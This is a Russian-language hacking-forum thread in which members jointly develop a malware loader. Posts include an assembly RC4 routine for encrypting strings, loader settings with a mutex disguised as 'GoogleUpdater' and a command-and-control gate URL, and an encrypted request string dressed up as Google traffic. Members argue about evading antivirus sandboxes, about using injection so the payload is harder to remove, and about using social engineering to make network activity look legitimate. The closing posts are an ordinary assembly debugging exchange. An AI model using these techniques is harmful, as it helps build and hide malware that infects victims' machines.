• XSS.stack #1 – первый литературный журнал от юзеров форума

Разработка лоадера

Apocalypse
почему пох? А как считать, сколько ботов отстучало хотя бы?

Я имел в виду пох на жизнь админки, т.к ботнета нет и все дела. Ведь лоадер во время прогруза заберет задание и потом умрет - нерезидент же.
 
rc4.inc
Код:
comment  *
Algorithm  : RC4 ( Stream Cipher )
Usage      : invoke	rc4_setkey,addr ptrInkey,addr ptrInkey_length
            invoke	rc4_crypt,addr ptrIndata,addr ptrIndata_length	( Encrypt & Decrypt )  
comment  *

rc4_setkey	proto	:DWORD, :DWORD
rc4_crypt	proto	:DWORD, :DWORD

.data?

rc4keytable	db	256	dup(?)

.code

rc4_setkey	proc	ptrInkey:DWORD, ptrInkey_length:DWORD

  xor	ebx,ebx  
@_r1:
  mov	[rc4keytable+ebx],bl
  inc	ebx
  cmp	ebx,256
  jnz	@_r1
  
  mov	esi,ptrInkey
  xor	eax,eax
  xor	ebx,ebx  
  xor	ecx,ecx  
  xor	edi,edi  
@_r3:
  mov	al,[rc4keytable+ecx]
  add	bl,byte ptr [esi+edi]
  add	bl,al  
  mov	dl,[rc4keytable+ebx]
  mov	[rc4keytable+ecx],dl
  mov	[rc4keytable+ebx],al
  inc	edi
  cmp	edi,ptrInkey_length
  jl	@_r2
  xor	edi,edi
@_r2:
  inc	ecx
  cmp	ecx,256
  jnz	@_r3	
  ret
  
rc4_setkey	endp

rc4_crypt	proc	ptrIndata:DWORD, ptrIndata_length:DWORD

  xor	eax,eax
  xor	ebx,ebx
  xor	edi,edi
  xor	edx,edx
  mov	esi,ptrIndata
@_r1:	
  mov	cl,[rc4keytable+1+eax]	
  add	dl,cl
  mov	bl,[rc4keytable+edx]	
  mov	[rc4keytable+edx],cl
  add	bl,cl
  mov	bl,[rc4keytable+ebx]
  xor	[esi+edi],bl
  inc	eax
  inc	edi	
  cmp	ptrIndata_length,edi
  jnz	@_r1	
  ret
  
rc4_crypt	endp
 
будет дольше в "долгом ящике" находиться на анализе у аверов и соответственно будет дольше жить сабж

может хватить троллить то? каком анализе, какая живучесть, окстись батька, все запускается в песочнице и хоть ты там обшифруйся, сетевая активность мигом тебя спалит. Никто в статик анализе уже не смотрит малварь, не 99 год на дворе.
 
может хватить троллить то? каком анализе, какая живучесть, окстись батька, все запускается в песочнице и хоть ты там обшифруйся, сетевая активность мигом тебя спалит. Никто в статик анализе уже не смотрит малварь, не 99 год на дворе.

Согласен. В начале чисто автоматом будут детектить, как только сильно распространится, тогда внутрь и полезут. Люди из Outpost'а правда сделают это быстрее других. Это личный опыт.
 
Ragnar пишет:
может хватить троллить то?
Му-ха-ха, плакалЪ поцталом %))))), чуваг если ты нереально далек от темы, то может, пойдешь в школу для начала?
Ты видно читаешь через строчки, при этом пропускаешь много интересного...
А еще хотелось бы, если уж себя считаешь умнее других, чтобы научил меня безграмотного как надо правильно делать! Слабо?
Я если "критикую" что-то, то стараюсь дополнительно что-то написать, предложить как альтернативу, как нужно сделать, от тебя что-то "умного" невидно ничего...

Читай стоя, три раза, внимательно и вдумчиво все, что там написано!
Для начала нужно начинать с функции шифрования строк (все строки надо обязательно шифровать), чем она будет сложнее, тем будет дольше в "долгом ящике" находиться на анализе у аверов и соответственно будет дольше жить сабж
А теперь ПОПРОБУЙ ДОКАЗАТЬ, что шифровать вот эти строки:
Код:
mutex db "GoogleUpdater",0;мютекс
gate db "http://loader.my/gate.php",0;путь к гейту
lpszAgent db "loader v.0.1 alfa",0;юзерагент
в лоадере нах НЕ НАДО или предложи свой мега-вариант, который уменьшит детек ПАБЛИК лоадера
я знаю, пиздеть МЫ все умеем, а как до дела доходит, так с криками ура в лес нах...

Ragnar пишет:
запускается в песочнице и хоть ты там обшифруйся
ну, вот для примера, зашифрованная сточка в GET запросе, которую можно будет увидеть в песочнице
Код:
&ei=Bw16RIJHFdM8gGlAWRiDzoiKzj4uFs00Z1LI&usg=VQ0xNmpI7p313832eH1uJMiYWWGSL9n4c=&ved=wslZ0MXq7ojwufItUwb31VyQZSAMcelGjtFO3d
b64 + RC4
можешь (вот так слету) расшифровать и сказать, для чего она нужна? Может там ЛЕГАЛЬНЫЙ запрос к гуглю и его сервисам, как ты сможешь определить что это зловред, а не какая-нибудь полезная прога с именем GoogleUpdater, которая лезет в инет за обновлением?
Ты думаешь если мы здесь сделаем свою маленькую мини-VM с "обходами" (о чем я здесь хотел позже рассказать и предложить варианты), вот так на автомате будет легко...

Ragnar пишет:
сетевая активность мигом тебя спалит.
Ну, так для этого и нужны эти "обходы" + СИ, чтобы заставить "всех" поверить, что сетевая активность НУЖНА и она "легальна" (выше уже немного писал об этом)
Ладно, раз меня здесь уже пара человек (а может и больше) объявили троллем, больше в этой теме писать ничего не буду, видно у вас знаний по-более будет и вы ими уже жаждите с народом поделицца, ну что ж удачи вам.....
 
Apocalypse пишет:
В принципе можно и не шифровать, и импорт обычный использовать, все равно нужно будет криптовать для распространения, а там все и пошифруется, не?
Ну, а тогда зачем нужна эта тема?, достаточно взять тот сорец с пастбина, отредактировать его немного скомпилять, закриптовать и вперед инсталлить...
Я так понял, цель данного топика - получить "боевой опыт" на полях сражений.. ладно мне уже как-то пох...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Давайте все таки не будем ссорится, хотя бы в этой теме.
Я думаю, что кодинг - это не религия, где можно веками спорить о том, двумя пальцами крестится надо или тремя. Тут же все просто - попробовать такую технику, и другую. Что дает меньше детекта и больше отстука - то годно.

Касаемо того же шифрования строк - с одной стороны, конечно же, фаервол спалит сетевую активность. С другой - строки, наверное, все таки надо шифровать, чтобы не было эвристического детекта (некоторые аверы реагируют на C:\Windows и т.п. в коде).
Я так понял, цель данного топика - получить "боевой опыт"
Именно так. Лично меня интересует получение практических знаний по кодингу малвари. Ибо, как я заметил, лучше всего они приходят в процессе практики, а не только от чтения литературы. Сам лоадер мне в общем-то не нужен (я ничего никому не прогружаю и вообще далек от этого), продавать его тоже не буду (если был бы нужен для всего этого, я бы тупо купил и не парился). Мне интересно научится грамотно кодить с помощью WinApi.
 
Кразз и все остальные кто согласен с его словами выше.
Читайте хотябы блог Kleissner'a, там он описывает что и как надо делать.
Но в целом весело было читать посты от "человека в теме"

Я так понял, цель данного топика - получить "боевой опыт"
эта фраза ставит всё на свои места, шфирование строк итд делается РАДИ ОПЫТА.
а не ради того, что будет мегоэффект скрытности. Хорошо что q3 и товарищи это осознают
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Кразз
Ога спасиб :) учел ошибки ) спасибо за заметку :))
А инжект надо 100% , даже для нерезидента .Ибо что бы снять сразу не смогли ,ну и пробив был больше.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Кто-то в теме спрашивал, почему нет апдейтов и нового кода. Напишу почему. Сегодня кодил модуль, в нем для начала было 4 строчки кода, а именно
Код:
.data
sour db "test123",0
dest db 32 dup(0)
 
.code
start:
std
mov ecx,3
mov esi,offset sour
mov edi,offset dest
rep movsb
 
invoke MessageBox,0,addr dest,0,0
Этот код должен был читать три последних символа со строки,и выводить их. Но он вылетает с ошибкой чтения памяти. Короче говоря, в очередной раз убив день на такую ерунду, я окончательно понял, что системный кодинг - это не мое. Видимо, поздно я за него взялся или просто мозг уже убитый или не тот склад ума. В общем, не суть. Ввиду этого, я прекращаю свое участие в разработке лоадера. Если кто-то возьмется продолжить (shyrka давно уже обещает), помогу по мере возможности с админкой (сделаю все что надо, шифрование и т.д.). Но бинарем пусть занимается кто-то другой.

В который раз убеждаюсь, что пхп/сишарп/жаба кодером может стать любой дурак. Но Системный кодинг, особенно Асм - это Элита, которая доступна единицам, только избранным людям. И пофиг тут на чтение мануалов - не дано, значит не дано.

Можете писать про слабохарактерность и все такое. Но тут дело не в характере,а именно в складе ума. Если системный кодинг учился бы лишь благодаря силе воли - каждый пхп-индус стал бы малваре кодером.
 
у тебя esi указывает на "t". установка флага std означает что esi не увеличивается а уменьшается. поэтому 1й байт скопируется, а уже на 2м ты получишь access violation.
чтоб лучше понять что происходило, сделай так.

.data
db "XXXXXXXXXX"
sour db "test123",0
dest db 32 dup(0)

и не забывай сбрасывать флаг после всех своих манипуляций

rep movsb
cld
 
Пожалуйста, обратите внимание, что пользователь заблокирован
DeusEx
ошибку понял, большое спасибо, т.е. фактически я читал данные перед буфером.
Единственное - ADD ESI, SIZEOF sour-3 почему именно минус три? Я думал, что минус 2, ибо убираем нуллбайт + esi и так указывает на 1ый элемент массива, поэтому надо еще раз декремент сделать. Но откуда взялось три?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх